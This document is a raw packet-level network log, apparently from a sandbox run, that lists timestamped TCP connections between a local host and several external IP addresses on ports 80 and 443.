Dec 12, 2024 21:51:06.126506090 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.126550913 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.128070116 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.128143072 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.128199100 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.128288984 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.129808903 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.129892111 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.129918098 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.129966021 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.131510019 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.131582022 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.131670952 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.131717920 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.133209944 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.133286953 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.133327007 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.133372068 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.135080099 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.135236979 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.135293007 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.136677980 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.136791945 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.136859894 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.138577938 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.138679028 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.138748884 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.138802052 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.140134096 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.140270948 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.140280008 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.140333891 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.141997099 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.142045975 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.142083883 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.142129898 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.143295050 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.143333912 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.143423080 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.143469095 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.144982100 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.145056009 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.145113945 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.145163059 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.146686077 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.146754980 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.146819115 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.146985054 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.148335934 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.148385048 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.148448944 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.148494959 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.150051117 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.150099039 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.150109053 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.150152922 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.151695013 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.151741982 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.151806116 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.151904106 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.153394938 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.153450012 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.153527975 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.153574944 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.155069113 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.155114889 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.155179024 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.155225039 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.156763077 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.156822920 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.156866074 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.156909943 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.158435106 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.158638000 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.158699989 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.160170078 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.160240889 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.160273075 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.160322905 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.161861897 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.161945105 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.161950111 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.161997080 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.163677931 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.163755894 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.268591881 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.268650055 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.268724918 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.269188881 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.269226074 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.269262075 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.269274950 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.269304037 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.270665884 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.270701885 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.270721912 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.270742893 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.272182941 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.272218943 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.272228003 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.272258997 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.273492098 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.273525953 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.273539066 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.273564100 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.274791002 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.274827003 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.274836063 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.274864912 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.276156902 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.276192904 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.276220083 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.276241064 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.277407885 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.277452946 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.277640104 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.277688980 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.278929949 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.278964996 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.279011011 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.280087948 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.280123949 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.280143023 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.280164957 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.281460047 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.281548023 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.281577110 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.281599045 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.282571077 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.282628059 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.282754898 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.282814026 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.283919096 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.283977032 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.284028053 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.285253048 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.285288095 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.285315037 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.285341978 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.286444902 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.286480904 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.286505938 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.286520004 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.287672043 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.287733078 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.287765026 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.287810087 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.289011955 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.289107084 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.289141893 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.289196968 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.290317059 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.290373087 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.290404081 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.290523052 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.291382074 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.291429043 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.291501045 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.291588068 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.292690992 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.292742968 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.292747021 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.292793989 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.293986082 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.294020891 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.294038057 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.294075012 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.295257092 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.295305967 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.295336962 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.295386076 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.296365023 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.296411991 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.296484947 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.296525955 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.297776937 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.297811985 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.297857046 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.298823118 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.299010992 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.299062967 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.300215006 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.300306082 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.300363064 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.301500082 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.301534891 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.301559925 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.301623106 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:06.302911043 CET	80	50023	31.41.244.11	192.168.2.6
Dec 12, 2024 21:51:06.302975893 CET	50023	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:51:08.315063000 CET	50035	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:51:08.315165997 CET	443	50035	35.190.72.216	192.168.2.6
Dec 12, 2024 21:51:08.315238953 CET	50035	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:51:08.315346956 CET	50036	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:08.315354109 CET	443	50036	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:08.315399885 CET	50036	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:08.316649914 CET	50035	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:51:08.316663027 CET	443	50035	35.190.72.216	192.168.2.6
Dec 12, 2024 21:51:08.317814112 CET	50036	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:08.317828894 CET	443	50036	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:08.317966938 CET	50037	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:08.337131023 CET	50038	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:08.337193012 CET	443	50038	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:08.339746952 CET	50038	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:08.341001034 CET	50038	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:08.341021061 CET	443	50038	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:08.380883932 CET	50039	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:08.380918980 CET	443	50039	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:08.381014109 CET	50040	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:08.381055117 CET	443	50040	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:08.381134987 CET	50039	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:08.382323027 CET	50040	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:08.382328033 CET	50039	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:08.382340908 CET	443	50039	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:08.383447886 CET	50040	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:08.383471012 CET	443	50040	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:08.437906981 CET	80	50037	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:08.450093031 CET	50037	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:08.450192928 CET	50037	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:08.477036953 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:08.477071047 CET	443	50041	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:08.480180025 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:08.480324030 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:08.480334044 CET	443	50041	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:08.570142984 CET	80	50037	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:08.631937027 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:08.631961107 CET	443	50043	34.160.144.191	192.168.2.6
Dec 12, 2024 21:51:08.632592916 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:08.632771969 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:08.632783890 CET	443	50043	34.160.144.191	192.168.2.6
Dec 12, 2024 21:51:08.997035980 CET	50017	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:08.997422934 CET	50047	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:09.117297888 CET	80	50047	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:09.117373943 CET	80	50017	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:09.123902082 CET	50017	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:09.123919964 CET	50047	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:09.159956932 CET	50047	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:09.225244045 CET	50049	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.225292921 CET	443	50049	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:09.233138084 CET	50049	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.233298063 CET	50049	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.233309031 CET	443	50049	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:09.281618118 CET	80	50047	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:09.531939983 CET	443	50035	35.190.72.216	192.168.2.6
Dec 12, 2024 21:51:09.538888931 CET	50035	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:51:09.548216105 CET	80	50037	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:09.585089922 CET	50035	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:51:09.585134029 CET	443	50035	35.190.72.216	192.168.2.6
Dec 12, 2024 21:51:09.585217953 CET	50035	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:51:09.585500956 CET	443	50035	35.190.72.216	192.168.2.6
Dec 12, 2024 21:51:09.587656975 CET	50035	443	192.168.2.6	35.190.72.216
Dec 12, 2024 21:51:09.619148970 CET	443	50040	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.619467974 CET	50040	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.622566938 CET	50040	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.622580051 CET	443	50040	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.622661114 CET	50040	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.622843981 CET	443	50040	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.623613119 CET	443	50039	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.631346941 CET	443	50039	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.639679909 CET	50040	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.639697075 CET	50039	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.643502951 CET	50039	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.643510103 CET	443	50039	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.643591881 CET	50039	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.644119978 CET	443	50039	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.644290924 CET	50039	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.646255970 CET	50037	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:09.647406101 CET	50052	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.647443056 CET	443	50052	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.655841112 CET	50052	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.657048941 CET	50052	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:09.657063007 CET	443	50052	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:09.694700003 CET	443	50041	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:09.700104952 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.703463078 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.703474045 CET	443	50041	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:09.703798056 CET	443	50041	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:09.705197096 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.705302000 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.705384970 CET	443	50041	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:09.707492113 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.707509041 CET	50041	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:09.729285002 CET	50053	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:09.766345024 CET	80	50037	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:09.849308968 CET	80	50053	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:09.853458881 CET	50053	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:09.853728056 CET	50053	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:09.861231089 CET	443	50043	34.160.144.191	192.168.2.6
Dec 12, 2024 21:51:09.862238884 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:09.864991903 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:09.865008116 CET	443	50043	34.160.144.191	192.168.2.6
Dec 12, 2024 21:51:09.865209103 CET	443	50043	34.160.144.191	192.168.2.6
Dec 12, 2024 21:51:09.866849899 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:09.866925001 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:09.867139101 CET	443	50043	34.160.144.191	192.168.2.6
Dec 12, 2024 21:51:09.868041992 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:09.868062019 CET	50043	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:51:09.961586952 CET	80	50037	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:09.963634014 CET	50037	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:09.964004993 CET	50053	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:09.967336893 CET	50054	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:09.973727942 CET	80	50053	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:09.993355989 CET	50055	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:10.011264086 CET	443	50036	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.011888981 CET	443	50036	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.014694929 CET	50036	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.014723063 CET	443	50036	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.017647982 CET	50036	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.017663002 CET	443	50036	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.017760992 CET	50036	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.017796993 CET	443	50036	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.017860889 CET	50036	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.035835028 CET	443	50038	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.036848068 CET	443	50038	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.043951035 CET	50038	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.043984890 CET	443	50038	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.047288895 CET	50038	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.047322035 CET	443	50038	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.047435999 CET	50038	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.047632933 CET	443	50038	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.047821045 CET	50056	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.047869921 CET	443	50056	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.049053907 CET	50038	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.049110889 CET	50056	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.050230026 CET	50056	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.050250053 CET	443	50056	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.084249973 CET	80	50037	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:10.087235928 CET	80	50054	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:10.087760925 CET	50037	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:10.087825060 CET	50054	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:10.088027000 CET	50054	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:10.113513947 CET	80	50055	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:10.114922047 CET	50055	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:10.115055084 CET	50055	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:10.124840975 CET	80	50053	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:10.207941055 CET	80	50054	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:10.234886885 CET	80	50055	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:10.453178883 CET	443	50049	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:10.453214884 CET	443	50049	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:10.454204082 CET	50049	443	192.168.2.6	35.244.181.201
